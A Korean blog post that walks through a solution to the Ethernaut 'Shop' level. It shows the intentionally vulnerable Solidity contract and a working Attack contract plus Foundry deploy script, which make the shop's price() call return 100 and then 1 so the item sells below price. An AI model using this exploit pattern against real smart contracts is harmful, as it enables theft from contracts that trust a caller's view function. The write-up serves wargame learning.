Web3/The Ethernaut

[The Ethernaut] Shop

프레딕 2025. 2. 3. 18:51
728x90

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

 

얘도 문제를 애매하게 써놨다

대충 해석하면 물건을 사는데 price를 _buyer.price()로 바꾼다.

요 부분에서 price를 100보다 낮추면 된다.

 

그리고 interface는 msg.sender 컨트랙트에서 함수를 구현할 수 있게 해주는 기능이다.

즉, 함수를 미리 선언만 해놓고 구현은 해당 컨트랙트에서 할 수 있다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/shop.sol";

contract Attack is Buyer {
    Shop public target;

    constructor(){
        address payable targetAddress = payable(0x6207B96C5A26B07394e97611583cCC9136eBeeF3);
        target = Shop(targetAddress);
    }

    function price() external view override returns (uint256){
        if(target.isSold()){
            return 1;
        }
        else{
            return 100;
        }
    }

    function attack() external{
        target.buy();
    }
}

contract ShopSolve is Script {
    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        Attack exploit = new Attack();
        exploit.attack();
       
        vm.stopBroadcast();
    }
}

override를 써서 price를 Attack contract에서 구현했다.

 

원래였다면 뭐 변수 하나 할당해서 첫번째 요청 들어오면 100, 두번째 요청 들어오면 1 이렇게 할려 했는데 view에선 변수를 바꾸지 못하므로 유일하게 바뀌어지는 isSold를 사용해서 해당 isSold가 true이면 1, false면 100을 리턴하게 해줬다.

728x90
반응형